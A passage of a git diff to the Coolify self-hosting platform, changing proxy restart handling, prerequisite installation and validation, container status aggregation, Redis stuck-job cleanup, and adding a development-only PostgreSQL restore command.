+            ProxyStatusChangedUI::dispatch($server->team_id);
+        }
 
         $commands = collect([]);
         $proxy_path = $server->proxyPath();
@@ -60,7 +63,16 @@ public function handle(Server $server, bool $async = true, bool $force = false):
                 'docker compose pull',
                 'if docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
                 "    echo 'Stopping and removing existing coolify-proxy.'",
-                '    docker rm -f coolify-proxy || true',
+                '    docker stop coolify-proxy 2>/dev/null || true',
+                '    docker rm -f coolify-proxy 2>/dev/null || true',
+                '    # Wait for container to be fully removed',
+                '    for i in {1..10}; do',
+                '        if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
+                '            break',
+                '        fi',
+                '        echo "Waiting for coolify-proxy to be removed... ($i/10)"',
+                '        sleep 1',
+                '    done',
                 "    echo 'Successfully stopped and removed existing coolify-proxy.'",
                 'fi',
                 "echo 'Starting coolify-proxy.'",
diff --git a/app/Actions/Proxy/StopProxy.php b/app/Actions/Proxy/StopProxy.php
index 29cc63b40..8f1b8af1c 100644
--- a/app/Actions/Proxy/StopProxy.php
+++ b/app/Actions/Proxy/StopProxy.php
@@ -12,17 +12,27 @@ class StopProxy
 {
     use AsAction;
 
-    public function handle(Server $server, bool $forceStop = true, int $timeout = 30)
+    public function handle(Server $server, bool $forceStop = true, int $timeout = 30, bool $restarting = false)
     {
         try {
             $containerName = $server->isSwarm() ? 'coolify-proxy_traefik' : 'coolify-proxy';
             $server->proxy->status = 'stopping';
             $server->save();
-            ProxyStatusChangedUI::dispatch($server->team_id);
+
+            if (! $restarting) {
+                ProxyStatusChangedUI::dispatch($server->team_id);
+            }
 
             instant_remote_process(command: [
-                "docker stop --time=$timeout $containerName",
-                "docker rm -f $containerName",
+                "docker stop --time=$timeout $containerName 2>/dev/null || true",
+                "docker rm -f $containerName 2>/dev/null || true",
+                '# Wait for container to be fully removed',
+                'for i in {1..10}; do',
+                "    if ! docker ps -a --format \"{{.Names}}\" | grep -q \"^$containerName$\"; then",
+                '        break',
+                '    fi',
+                '    sleep 1',
+                'done',
             ], server: $server, throwError: false);
 
             $server->proxy->force_stop = $forceStop;
@@ -32,7 +42,10 @@ public function handle(Server $server, bool $forceStop = true, int $timeout = 30
             return handleError($e);
         } finally {
             ProxyDashboardCacheService::clearCache($server);
-            ProxyStatusChanged::dispatch($server->id);
+
+            if (! $restarting) {
+                ProxyStatusChanged::dispatch($server->id);
+            }
         }
     }
 }
diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php
index 392562167..6bf094c32 100644
--- a/app/Actions/Server/CleanupDocker.php
+++ b/app/Actions/Server/CleanupDocker.php
@@ -20,7 +20,7 @@ public function handle(Server $server, bool $deleteUnusedVolumes = false, bool $
         $realtimeImageWithoutPrefix = 'coollabsio/coolify-realtime';
         $realtimeImageWithoutPrefixVersion = "coollabsio/coolify-realtime:$realtimeImageVersion";
 
-        $helperImageVersion = data_get($settings, 'helper_version');
+        $helperImageVersion = getHelperVersion();
         $helperImage = config('constants.coolify.helper_image');
         $helperImageWithVersion = "$helperImage:$helperImageVersion";
         $helperImageWithoutPrefix = 'coollabsio/coolify-helper';
diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php
index 92dd7e8c3..36c540950 100644
--- a/app/Actions/Server/InstallDocker.php
+++ b/app/Actions/Server/InstallDocker.php
@@ -59,8 +59,6 @@ public function handle(Server $server)
         $command = collect([]);
         if (isDev() && $server->id === 0) {
             $command = $command->merge([
-                "echo 'Installing Prerequisites...'",
-                'sleep 1',
                 "echo 'Installing Docker Engine...'",
                 "echo 'Configuring Docker Engine (merging existing configuration with the required)...'",
                 'sleep 4',
@@ -70,35 +68,6 @@ public function handle(Server $server)
 
             return remote_process($command, $server);
         } else {
-            if ($supported_os_type->contains('debian')) {
-                $command = $command->merge([
-                    "echo 'Installing Prerequisites...'",
-                    'apt-get update -y',
-                    'command -v curl >/dev/null || apt install -y curl',
-                    'command -v wget >/dev/null || apt install -y wget',
-                    'command -v git >/dev/null || apt install -y git',
-                    'command -v jq >/dev/null || apt install -y jq',
-                ]);
-            } elseif ($supported_os_type->contains('rhel')) {
-                $command = $command->merge([
-                    "echo 'Installing Prerequisites...'",
-                    'command -v curl >/dev/null || dnf install -y curl',
-                    'command -v wget >/dev/null || dnf install -y wget',
-                    'command -v git >/dev/null || dnf install -y git',
-                    'command -v jq >/dev/null || dnf install -y jq',
-                ]);
-            } elseif ($supported_os_type->contains('sles')) {
-                $command = $command->merge([
-                    "echo 'Installing Prerequisites...'",
-                    'zypper update -y',
-                    'command -v curl >/dev/null || zypper install -y curl',
-                    'command -v wget >/dev/null || zypper install -y wget',
-                    'command -v git >/dev/null || zypper install -y git',
-                    'command -v jq >/dev/null || zypper install -y jq',
-                ]);
-            } else {
-                throw new \Exception('Unsupported OS');
-            }
             $command = $command->merge([
                 "echo 'Installing Docker Engine...'",
             ]);
diff --git a/app/Actions/Server/InstallPrerequisites.php b/app/Actions/Server/InstallPrerequisites.php
new file mode 100644
index 000000000..1a7d3bbd9
--- /dev/null
+++ b/app/Actions/Server/InstallPrerequisites.php
@@ -0,0 +1,57 @@
+<?php
+
+namespace App\Actions\Server;
+
+use App\Models\Server;
+use Lorisleiva\Actions\Concerns\AsAction;
+
+class InstallPrerequisites
+{
+    use AsAction;
+
+    public string $jobQueue = 'high';
+
+    public function handle(Server $server)
+    {
+        $supported_os_type = $server->validateOS();
+        if (! $supported_os_type) {
+            throw new \Exception('Server OS type is not supported for automated installation. Please install prerequisites manually.');
+        }
+
+        $command = collect([]);
+
+        if ($supported_os_type->contains('debian')) {
+            $command = $command->merge([
+                "echo 'Installing Prerequisites...'",
+                'apt-get update -y',
+                'command -v curl >/dev/null || apt install -y curl',
+                'command -v wget >/dev/null || apt install -y wget',
+                'command -v git >/dev/null || apt install -y git',
+                'command -v jq >/dev/null || apt install -y jq',
+            ]);
+        } elseif ($supported_os_type->contains('rhel')) {
+            $command = $command->merge([
+                "echo 'Installing Prerequisites...'",
+                'command -v curl >/dev/null || dnf install -y curl',
+                'command -v wget >/dev/null || dnf install -y wget',
+                'command -v git >/dev/null || dnf install -y git',
+                'command -v jq >/dev/null || dnf install -y jq',
+            ]);
+        } elseif ($supported_os_type->contains('sles')) {
+            $command = $command->merge([
+                "echo 'Installing Prerequisites...'",
+                'zypper update -y',
+                'command -v curl >/dev/null || zypper install -y curl',
+                'command -v wget >/dev/null || zypper install -y wget',
+                'command -v git >/dev/null || zypper install -y git',
+                'command -v jq >/dev/null || zypper install -y jq',
+            ]);
+        } else {
+            throw new \Exception('Unsupported OS type for prerequisites installation');
+        }
+
+        $command->push("echo 'Prerequisites installed successfully.'");
+
+        return remote_process($command, $server);
+    }
+}
diff --git a/app/Actions/Server/UpdateCoolify.php b/app/Actions/Server/UpdateCoolify.php
index 2a06428e2..0bf763d78 100644
--- a/app/Actions/Server/UpdateCoolify.php
+++ b/app/Actions/Server/UpdateCoolify.php
@@ -2,7 +2,6 @@
 
 namespace App\Actions\Server;
 
-use App\Jobs\PullHelperImageJob;
 use App\Models\Server;
 use Illuminate\Support\Sleep;
 use Lorisleiva\Actions\Concerns\AsAction;
@@ -50,7 +49,9 @@ public function handle($manual_update = false)
 
     private function update()
     {
-        PullHelperImageJob::dispatch($this->server);
+        $helperImage = config('constants.coolify.helper_image');
+        $latest_version = getHelperVersion();
+        instant_remote_process(["docker pull -q {$helperImage}:{$latest_version}"], $this->server, false);
 
         $image = config('constants.coolify.registry_url').'/coollabsio/coolify:'.$this->latestVersion;
         instant_remote_process(["docker pull -q $image"], $this->server, false);
diff --git a/app/Actions/Server/ValidatePrerequisites.php b/app/Actions/Server/ValidatePrerequisites.php
new file mode 100644
index 000000000..23c1db1d0
--- /dev/null
+++ b/app/Actions/Server/ValidatePrerequisites.php
@@ -0,0 +1,40 @@
+<?php
+
+namespace App\Actions\Server;
+
+use App\Models\Server;
+use Lorisleiva\Actions\Concerns\AsAction;
+
+class ValidatePrerequisites
+{
+    use AsAction;
+
+    public string $jobQueue = 'high';
+
+    /**
+     * Validate that required commands are available on the server.
+     *
+     * @return array{success: bool, missing: array<string>, found: array<string>}
+     */
+    public function handle(Server $server): array
+    {
+        $requiredCommands = ['git', 'curl', 'jq'];
+        $missing = [];
+        $found = [];
+
+        foreach ($requiredCommands as $cmd) {
+            $result = instant_remote_process(["command -v {$cmd}"], $server, false);
+            if (! $result) {
+                $missing[] = $cmd;
+            } else {
+                $found[] = $cmd;
+            }
+        }
+
+        return [
+            'success' => empty($missing),
+            'missing' => $missing,
+            'found' => $found,
+        ];
+    }
+}
diff --git a/app/Actions/Server/ValidateServer.php b/app/Actions/Server/ValidateServer.php
index 55b37a77c..0a20deae5 100644
--- a/app/Actions/Server/ValidateServer.php
+++ b/app/Actions/Server/ValidateServer.php
@@ -45,6 +45,16 @@ public function handle(Server $server)
             throw new \Exception($this->error);
         }
 
+        $validationResult = $server->validatePrerequisites();
+        if (! $validationResult['success']) {
+            $missingCommands = implode(', ', $validationResult['missing']);
+            $this->error = "Prerequisites ({$missingCommands}) are not installed. Please install them before continuing or use the validation with installation endpoint.";
+            $server->update([
+                'validation_logs' => $this->error,
+            ]);
+            throw new \Exception($this->error);
+        }
+
         $this->docker_installed = $server->validateDockerEngine();
         $this->docker_compose_installed = $server->validateDockerCompose();
         if (! $this->docker_installed || ! $this->docker_compose_installed) {
diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php
index dfef6a566..6b5e1d4ac 100644
--- a/app/Actions/Service/StartService.php
+++ b/app/Actions/Service/StartService.php
@@ -20,18 +20,23 @@ public function handle(Service $service, bool $pullLatestImages = false, bool $s
         }
         $service->saveComposeConfigs();
         $service->isConfigurationChanged(save: true);
-        $commands[] = 'cd '.$service->workdir();
-        $commands[] = "echo 'Saved configuration files to {$service->workdir()}.'";
+        $workdir = $service->workdir();
+        // $commands[] = "cd {$workdir}";
+        $commands[] = "echo 'Saved configuration files to {$workdir}.'";
+        // Ensure .env exists in the correct directory before docker compose tries to load it
+        // This is defensive programming - saveComposeConfigs() already creates it,
+        // but we guarantee it here in case of any edge cases or manual deployments
+        $commands[] = "touch {$workdir}/.env";
         if ($pullLatestImages) {
             $commands[] = "echo 'Pulling images.'";
-            $commands[] = 'docker compose pull';
+            $commands[] = "docker compose --project-directory {$workdir} pull";
         }
         if ($service->networks()->count() > 0) {
             $commands[] = "echo 'Creating Docker network.'";
             $commands[] = "docker network inspect $service->uuid >/dev/null 2>&1 || docker network create --attachable $service->uuid";
         }
         $commands[] = 'echo Starting service.';
-        $commands[] = 'docker compose up -d --remove-orphans --force-recreate --build';
+        $commands[] = "docker compose --project-directory {$workdir} -f {$workdir}/docker-compose.yml --project-name {$service->uuid} up -d --remove-orphans --force-recreate --build";
         $commands[] = "docker network connect $service->uuid coolify-proxy >/dev/null 2>&1 || true";
         if (data_get($service, 'connect_to_docker_network')) {
             $compose = data_get($service, 'docker_compose', []);
diff --git a/app/Actions/Shared/ComplexStatusCheck.php b/app/Actions/Shared/ComplexStatusCheck.php
index e06136e3c..3649be986 100644
--- a/app/Actions/Shared/ComplexStatusCheck.php
+++ b/app/Actions/Shared/ComplexStatusCheck.php
@@ -3,11 +3,14 @@
 namespace App\Actions\Shared;
 
 use App\Models\Application;
+use App\Services\ContainerStatusAggregator;
+use App\Traits\CalculatesExcludedStatus;
 use Lorisleiva\Actions\Concerns\AsAction;
 
 class ComplexStatusCheck
 {
     use AsAction;
+    use CalculatesExcludedStatus;
 
     public function handle(Application $application)
     {
@@ -17,11 +20,11 @@ public function handle(Application $application)
             $is_main_server = $application->destination->server->id === $server->id;
             if (! $server->isFunctional()) {
                 if ($is_main_server) {
-                    $application->update(['status' => 'exited:unhealthy']);
+                    $application->update(['status' => 'exited']);
 
                     continue;
                 } else {
-                    $application->additional_servers()->updateExistingPivot($server->id, ['status' => 'exited:unhealthy']);
+                    $application->additional_servers()->updateExistingPivot($server->id, ['status' => 'exited']);
 
                     continue;
                 }
@@ -46,11 +49,11 @@ public function handle(Application $application)
                 }
             } else {
                 if ($is_main_server) {
-                    $application->update(['status' => 'exited:unhealthy']);
+                    $application->update(['status' => 'exited']);
 
                     continue;
                 } else {
-                    $application->additional_servers()->updateExistingPivot($server->id, ['status' => 'exited:unhealthy']);
+                    $application->additional_servers()->updateExistingPivot($server->id, ['status' => 'exited']);
 
                     continue;
                 }
@@ -61,74 +64,25 @@ public function handle(Application $application)
     private function aggregateContainerStatuses($application, $containers)
     {
         $dockerComposeRaw = data_get($application, 'docker_compose_raw');
-        $excludedContainers = collect();
+        $excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);
 
-        if ($dockerComposeRaw) {
-            try {
-                $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw);
-                $services = data_get($dockerCompose, 'services', []);
-
-                foreach ($services as $serviceName => $serviceConfig) {
-                    $excludeFromHc = data_get($serviceConfig, 'exclude_from_hc', false);
-                    $restartPolicy = data_get($serviceConfig, 'restart', 'always');
-
-                    if ($excludeFromHc || $restartPolicy === 'no') {
-                        $excludedContainers->push($serviceName);
-                    }
-                }
-            } catch (\Exception $e) {
-                // If we can't parse, treat all containers as included
-            }
-        }
-
-        $hasRunning = false;
-        $hasRestarting = false;
-        $hasUnhealthy = false;
-        $hasExited = false;
-        $relevantContainerCount = 0;
-
-        foreach ($containers as $container) {
+        // Filter non-excluded containers
+        $relevantContainers = collect($containers)->filter(function ($container) use ($excludedContainers) {
             $labels = data_get($container, 'Config.Labels', []);
             $serviceName = data_get($labels, 'com.docker.compose.service');
 
-            if ($serviceName && $excludedContainers->contains($serviceName)) {
-                continue;
-            }
+            return ! ($serviceName && $excludedContainers->contains($serviceName));
+        });
 
-            $relevantContainerCount++;
-            $containerStatus = data_get($container, 'State.Status');
-            $containerHealth = data_get($container, 'State.Health.Status', 'unhealthy');
-
-            if ($containerStatus === 'restarting') {
-                $hasRestarting = true;
-                $hasUnhealthy = true;
-            } elseif ($containerStatus === 'running') {
-                $hasRunning = true;
-                if ($containerHealth === 'unhealthy') {
-                    $hasUnhealthy = true;
-                }
-            } elseif ($containerStatus === 'exited') {
-                $hasExited = true;
-                $hasUnhealthy = true;
-            }
+        // If all containers are excluded, calculate status from excluded containers
+        // but mark it with :excluded to indicate monitoring is disabled
+        if ($relevantContainers->isEmpty()) {
+            return $this->calculateExcludedStatus($containers, $excludedContainers);
         }
 
-        if ($relevantContainerCount === 0) {
-            return 'running:healthy';
-        }
+        // Use ContainerStatusAggregator service for state machine logic
+        $aggregator = new ContainerStatusAggregator;
 
-        if ($hasRestarting) {
-            return 'degraded:unhealthy';
-        }
-
-        if ($hasRunning && $hasExited) {
-            return 'degraded:unhealthy';
-        }
-
-        if ($hasRunning) {
-            return $hasUnhealthy ? 'running:unhealthy' : 'running:healthy';
-        }
-
-        return 'exited:unhealthy';
+        return $aggregator->aggregateFromContainers($relevantContainers);
     }
 }
diff --git a/app/Console/Commands/CheckTraefikVersionCommand.php b/app/Console/Commands/CheckTraefikVersionCommand.php
new file mode 100644
index 000000000..48cc78093
--- /dev/null
+++ b/app/Console/Commands/CheckTraefikVersionCommand.php
@@ -0,0 +1,30 @@
+<?php
+
+namespace App\Console\Commands;
+
+use App\Jobs\CheckTraefikVersionJob;
+use Illuminate\Console\Command;
+
+class CheckTraefikVersionCommand extends Command
+{
+    protected $signature = 'traefik:check-version';
+
+    protected $description = 'Check Traefik proxy versions on all servers and send notifications for outdated versions';
+
+    public function handle(): int
+    {
+        $this->info('Checking Traefik versions on all servers...');
+
+        try {
+            CheckTraefikVersionJob::dispatch();
+            $this->info('Traefik version check job dispatched successfully.');
+            $this->info('Notifications will be sent to teams with outdated Traefik versions.');
+
+            return Command::SUCCESS;
+        } catch (\Exception $e) {
+            $this->error('Failed to dispatch Traefik version check job: '.$e->getMessage());
+
+            return Command::FAILURE;
+        }
+    }
+}
diff --git a/app/Console/Commands/CleanupRedis.php b/app/Console/Commands/CleanupRedis.php
index f6a2de75b..abf8010c0 100644
--- a/app/Console/Commands/CleanupRedis.php
+++ b/app/Console/Commands/CleanupRedis.php
@@ -7,7 +7,7 @@
 
 class CleanupRedis extends Command
 {
-    protected $signature = 'cleanup:redis {--dry-run : Show what would be deleted without actually deleting} {--skip-overlapping : Skip overlapping queue cleanup} {--clear-locks : Clear stale WithoutOverlapping locks}';
+    protected $signature = 'cleanup:redis {--dry-run : Show what would be deleted without actually deleting} {--skip-overlapping : Skip overlapping queue cleanup} {--clear-locks : Clear stale WithoutOverlapping locks} {--restart : Aggressive cleanup mode for system restart (marks all processing jobs as failed)}';
 
     protected $description = 'Cleanup Redis (Horizon jobs, metrics, overlapping queues, cache locks, and related data)';
 
@@ -63,6 +63,14 @@ public function handle()
             $deletedCount += $locksCleaned;
         }
 
+        // Clean up stuck jobs (restart mode = aggressive, runtime mode = conservative)
+        $isRestart = $this->option('restart');
+        if ($isRestart || $this->option('clear-locks')) {
+            $this->info($isRestart ? 'Cleaning up stuck jobs (RESTART MODE - aggressive)...' : 'Checking for stuck jobs (runtime mode - conservative)...');
+            $jobsCleaned = $this->cleanupStuckJobs($redis, $prefix, $dryRun, $isRestart);
+            $deletedCount += $jobsCleaned;
+        }
+
         if ($dryRun) {
             $this->info("DRY RUN: Would delete {$deletedCount} out of {$totalKeys} keys");
         } else {
@@ -332,4 +340,130 @@ private function cleanupCacheLocks(bool $dryRun): int
 
         return $cleanedCount;
     }
+
+    /**
+     * Clean up stuck jobs based on mode (restart vs runtime).
+     *
+     * @param  mixed  $redis  Redis connection
+     * @param  string  $prefix  Horizon prefix
+     * @param  bool  $dryRun  Dry run mode
+     * @param  bool  $isRestart  Restart mode (aggressive) vs runtime mode (conservative)
+     * @return int Number of jobs cleaned
+     */
+    private function cleanupStuckJobs($redis, string $prefix, bool $dryRun, bool $isRestart): int
+    {
+        $cleanedCount = 0;
+        $now = time();
+
+        // Get all keys with the horizon prefix
+        $cursor = 0;
+        $keys = [];
+        do {
+            $result = $redis->scan($cursor, ['match' => '*', 'count' => 100]);
+
+            // Guard against scan() returning false
+            if ($result === false) {
+                $this->error('Redis scan failed, stopping key retrieval');
+                break;
+            }
+
+            $cursor = $result[0];
+            $keys = array_merge($keys, $result[1]);
+        } while ($cursor !== 0);
+
+        foreach ($keys as $key) {
+            $keyWithoutPrefix = str_replace($prefix, '', $key);
+            $type = $redis->command('type', [$keyWithoutPrefix]);
+
+            // Only process hash-type keys (individual jobs)
+            if ($type !== 5) {
+                continue;
+            }
+
+            $data = $redis->command('hgetall', [$keyWithoutPrefix]);
+            $status = data_get($data, 'status');
+            $payload = data_get($data, 'payload');
+
+            // Only process jobs in "processing" or "reserved" state
+            if (! in_array($status, ['processing', 'reserved'])) {
+                continue;
+            }
+
+            // Parse job payload to get job class and started time
+            $payloadData = json_decode($payload, true);
+
+            // Check for JSON decode errors
+            if ($payloadData === null || json_last_error() !== JSON_ERROR_NONE) {
+                $errorMsg = json_last_error_msg();
+                $truncatedPayload = is_string($payload) ? substr($payload, 0, 200) : 'non-string payload';
+                $this->error("Failed to decode job payload for {$keyWithoutPrefix}: {$errorMsg}. Payload: {$truncatedPayload}");
+
+                continue;
+            }
+
+            $jobClass = data_get($payloadData, 'displayName', 'Unknown');
+
+            // Prefer reserved_at (when job started processing), fallback to created_at
+            $reservedAt = (int) data_get($data, 'reserved_at', 0);
+            $createdAt = (int) data_get($data, 'created_at', 0);
+            $startTime = $reservedAt ?: $createdAt;
+
+            // If we can't determine when the job started, skip it
+            if (! $startTime) {
+                continue;
+            }
+
+            // Calculate how long the job has been processing
+            $processingTime = $now - $startTime;
+
+            $shouldFail = false;
+            $reason = '';
+
+            if ($isRestart) {
+                // RESTART MODE: Mark ALL processing/reserved jobs as failed
+                // Safe because all workers are dead on restart
+                $shouldFail = true;
+                $reason = 'System restart - all workers terminated';
+            } else {
+                // RUNTIME MODE: Only mark truly stuck jobs as failed
+                // Be conservative to avoid killing legitimate long-running jobs
+
+                // Skip ApplicationDeploymentJob entirely (has dynamic_timeout, can run 2+ hours)
+                if (str_contains($jobClass, 'ApplicationDeploymentJob')) {
+                    continue;
+                }
+
+                // Skip DatabaseBackupJob (large backups can take hours)
+                if (str_contains($jobClass, 'DatabaseBackupJob')) {
+                    continue;
+                }
+
+                // For other jobs, only fail if processing > 12 hours
+                if ($processingTime > 43200) { // 12 hours
+                    $shouldFail = true;
+                    $reason = 'Processing for more than 12 hours';
+                }
+            }
+
+            if ($shouldFail) {
+                if ($dryRun) {
+                    $this->warn("  Would mark as FAILED: {$jobClass} (processing for ".round($processingTime / 60, 1)." min) - {$reason}");
+                } else {
+                    // Mark job as failed
+                    $redis->command('hset', [$keyWithoutPrefix, 'status', 'failed']);
+                    $redis->command('hset', [$keyWithoutPrefix, 'failed_at', $now]);
+                    $redis->command('hset', [$keyWithoutPrefix, 'exception', "Job cleaned up by cleanup:redis - {$reason}"]);
+
+                    $this->info("  ✓ Marked as FAILED: {$jobClass} (processing for ".round($processingTime / 60, 1).' min) - '.$reason);
+                }
+                $cleanedCount++;
+            }
+        }
+
+        if ($cleanedCount === 0) {
+            $this->info($isRestart ? '  No jobs to clean up' : '  No stuck jobs found (all jobs running normally)');
+        }
+
+        return $cleanedCount;
+    }
 }
diff --git a/app/Console/Commands/CleanupStuckedResources.php b/app/Console/Commands/CleanupStuckedResources.php
index 0b13462ef..165a3ae21 100644
--- a/app/Console/Commands/CleanupStuckedResources.php
+++ b/app/Console/Commands/CleanupStuckedResources.php
@@ -222,9 +222,14 @@ private function cleanup_stucked_resources()
         try {
             $scheduled_backups = ScheduledDatabaseBackup::all();
             foreach ($scheduled_backups as $scheduled_backup) {
-                if (! $scheduled_backup->server()) {
-                    echo "Deleting stuck scheduledbackup: {$scheduled_backup->name}\n";
-                    $scheduled_backup->delete();
+                try {
+                    $server = $scheduled_backup->server();
+                    if (! $server) {
+                        echo "Deleting stuck scheduledbackup: {$scheduled_backup->name}\n";
+                        $scheduled_backup->delete();
+                    }
+                } catch (\Throwable $e) {
+                    echo "Error checking server for scheduledbackup {$scheduled_backup->id}: {$e->getMessage()}\n";
                 }
             }
         } catch (\Throwable $e) {
@@ -416,7 +421,7 @@ private function cleanup_stucked_resources()
             foreach ($serviceApplications as $service) {
                 if (! data_get($service, 'service')) {
                     echo 'ServiceApplication without service: '.$service->name.'\n';
-                    DeleteResourceJob::dispatch($service);
+                    $service->forceDelete();
 
                     continue;
                 }
@@ -429,7 +434,7 @@ private function cleanup_stucked_resources()
             foreach ($serviceDatabases as $service) {
                 if (! data_get($service, 'service')) {
                     echo 'ServiceDatabase without service: '.$service->name.'\n';
-                    DeleteResourceJob::dispatch($service);
+                    $service->forceDelete();
 
                     continue;
                 }
diff --git a/app/Console/Commands/Cloud/RestoreDatabase.php b/app/Console/Commands/Cloud/RestoreDatabase.php
new file mode 100644
index 000000000..7c6c0d4c6
--- /dev/null
+++ b/app/Console/Commands/Cloud/RestoreDatabase.php
@@ -0,0 +1,219 @@
+<?php
+
+namespace App\Console\Commands\Cloud;
+
+use Illuminate\Console\Command;
+
+class RestoreDatabase extends Command
+{
+    protected $signature = 'cloud:restore-database {file : Path to the database dump file} {--debug : Show detailed debug output}';
+
+    protected $description = 'Restore a PostgreSQL database from a dump file (development mode only)';
+
+    private bool $debug = false;
+
+    public function handle(): int
+    {
+        $this->debug = $this->option('debug');
+
+        if (! $this->isDevelopment()) {
+            $this->error('This command can only be run in development mode.');
+
+            return 1;
+        }
+
+        $filePath = $this->argument('file');
+
+        if (! file_exists($filePath)) {
+            $this->error("File not found: {$filePath}");
+
+            return 1;
+        }
+
+        if (! is_readable($filePath)) {
+            $this->error("File is not readable: {$filePath}");
+
+            return 1;
+        }
+
+        try {
+            $this->info('Starting database restoration...');
+
+            $database = config('database.connections.pgsql.database');
+            $host = config('database.connections.pgsql.host');
+            $port = config('database.connections.pgsql.port');
+            $username = config('database.connections.pgsql.username');
+            $password = config('database.connections.pgsql.password');
+
+            if (! $database || ! $username) {
+                $this->error('Database configuration is incomplete.');
+
+                return 1;
+            }
+
+            $this->info("Restoring to database: {$database}");
+
+            // Drop all tables
+            if (! $this->dropAllTables($database, $host, $port, $username, $password)) {
+                return 1;
+            }
+
+            // Restore the database dump
+            if (! $this->restoreDatabaseDump($filePath, $database, $host, $port, $username, $password)) {
+                return 1;
+            }
+
+            $this->info('Database restoration completed successfully!');
+
+            return 0;
+        } catch (\Exception $e) {
+            $this->error("An error occurred: {$e->getMessage()}");
+
+            return 1;
+        }
+    }
+
+    private function dropAllTables(string $database, string $host, string $port, string $username, string $password): bool
+    {
+        $this->info('Dropping all tables...');
+
+        // SQL to drop all tables
+        $dropTablesSQL = <<<'SQL'
+            DO $$ DECLARE
+                r RECORD;
+            BEGIN
+                FOR r IN (SELECT tablename FROM pg_tables WHERE schemaname = 'public') LOOP
+                    EXECUTE 'DROP TABLE IF EXISTS ' || quote_ident(r.tablename) || ' CASCADE';
+                END LOOP;
+            END $$;
+            SQL;
+
+        // Build the psql command to drop all tables
+        $command = sprintf(
+            'PGPASSWORD=%s psql -h %s -p %s -U %s -d %s -c %s',
+            escapeshellarg($password),
+            escapeshellarg($host),
+            escapeshellarg($port),
+            escapeshellarg($username),
+            escapeshellarg($database),
+            escapeshellarg($dropTablesSQL)
+        );
+
+        if ($this->debug) {
+            $this->line('<comment>Executing drop command:</comment>');
+            $this->line($command);
+        }
+
+        $output = shell_exec($command.' 2>&1');
+
+        if ($this->debug) {
+            $this->line("<comment>Output:</comment> {$output}");
+        }
+
+        $this->info('All tables dropped successfully.');
+
+        return true;
+    }
+
+    private function restoreDatabaseDump(string $filePath, string $database, string $host, string $port, string $username, string $password): bool
+    {
+        $this->info('Restoring database from dump file...');
+
+        // Handle gzipped files by decompressing first
+        $actualFile = $filePath;
+        if (str_ends_with($filePath, '.gz')) {
+            $actualFile = rtrim($filePath, '.gz');
+            $this->info('Decompressing gzipped dump file...');
+
+            $decompressCommand = sprintf(
+                'gunzip -c %s > %s',
+                escapeshellarg($filePath),
+                escapeshellarg($actualFile)
+            );
+
+            if ($this->debug) {
+                $this->line('<comment>Executing decompress command:</comment>');
+                $this->line($decompressCommand);
+            }
+
+            $decompressOutput = shell_exec($decompressCommand.' 2>&1');
+            if ($this->debug && $decompressOutput) {
+                $this->line("<comment>Decompress output:</comment> {$decompressOutput}");
+            }
+        }
+
+        // Use pg_restore for custom format dumps
+        $command = sprintf(
+            'PGPASSWORD=%s pg_restore -h %s -p %s -U %s -d %s -v %s',
+            escapeshellarg($password),
+            escapeshellarg($host),
+            escapeshellarg($port),
+            escapeshellarg($username),
+            escapeshellarg($database),
+            escapeshellarg($actualFile)
+        );
+
+        if ($this->debug) {
+            $this->line('<comment>Executing restore command:</comment>');
+            $this->line($command);
+        }
+
+        // Execute the restore command
+        $process = proc_open(
+            $command,
+            [
+                1 => ['pipe', 'w'],
+                2 => ['pipe', 'w'],
+            ],
+            $pipes
+        );
+
+        if (! is_resource($process)) {
+            $this->error('Failed to start restoration process.');
+
+            return false;
+        }
+
+        $output = stream_get_contents($pipes[1]);
+        $error = stream_get_contents($pipes[2]);
+        $exitCode = proc_close($process);
+
+        // Clean up decompressed file if we created one
+        if ($actualFile !== $filePath && file_exists($actualFile)) {
+            unlink($actualFile);
+        }
+
+        if ($this->debug) {
+            if ($output) {
+                $this->line('<comment>Output:</comment>');
+                $this->line($output);
+            }
+            if ($error) {
+                $this->line('<comment>Error output:</comment>');
+                $this->line($error);
+            }
+            $this->line("<comment>Exit code:</comment> {$exitCode}");
+        }
+
+        if ($exitCode !== 0) {
+            $this->error("Restoration failed with exit code: {$exitCode}");
+            if ($error) {
+                $this->error('Error details:');
+                $this->error($error);
+            }
+
+            return false;
+        }
+
+        if ($output && ! $this->debug) {
+            $this->line($output);
+        }
+
+        return true;
+    }
+
+    private function isDevelopment(): bool
+    {
+        return app()->environment(['local', 'development', 'dev']);
+    }
+}
diff --git a/app/Console/Commands/Dev.php b/app/Console/Commands/Dev.php
index 8f26d78ff..acc6dc2f9 100644
--- a/app/Console/Commands/Dev.php
+++ b/app/Console/Commands/Dev.php
@@ -4,6 +4,9 @@
 
 use App\Jobs\CheckHelperImageJob;
 use App\Models\InstanceSettings;
+use App\Models\ScheduledDatabaseBackupExecution;
+use App\Models\ScheduledTaskExecution;
+use Carbon\Carbon;
 use Illuminate\Console\Command;
 use Illuminate\Support\Facades\Artisan;
 
@@ -45,6 +48,44 @@ public function init()
         } else {
             echo "Instance already initialized.\n";
         }
+
+        // Clean up stuck jobs and stale locks on development startup
+        try {
+            echo "Cleaning up Redis (stuck jobs and stale locks)...\n";
+            Artisan::call('cleanup:redis', ['--restart' => true, '--clear-locks' => true]);
+            echo "Redis cleanup completed.\n";
+        } catch (\Throwable $e) {
+            echo "Error in cleanup:redis: {$e->getMessage()}\n";
+        }
+
+        try {
+            $updatedTaskCount = ScheduledTaskExecution::where('status', 'running')->update([
+                'status' => 'failed',
+                'message' => 'Marked as failed during Coolify startup - job was interrupted',
+                'finished_at' => Carbon::now(),
+            ]);
+
+            if ($updatedTaskCount > 0) {
+                echo "Marked {$updatedTaskCount} stuck scheduled task executions as failed\n";
+            }
+        } catch (\Throwable $e) {
+            echo "Could not cleanup stuck scheduled task executions: {$e->getMessage()}\n";
+        }
+
+        try {
+            $updatedBackupCount = ScheduledDatabaseBackupExecution::where('status', 'running')->update([
+                'status' => 'failed',
+                'message' => 'Marked as failed during Coolify startup - job was interrupted',
+                'finished_at' => Carbon::now(),
+            ]);
+
+            if ($updatedBackupCount > 0) {
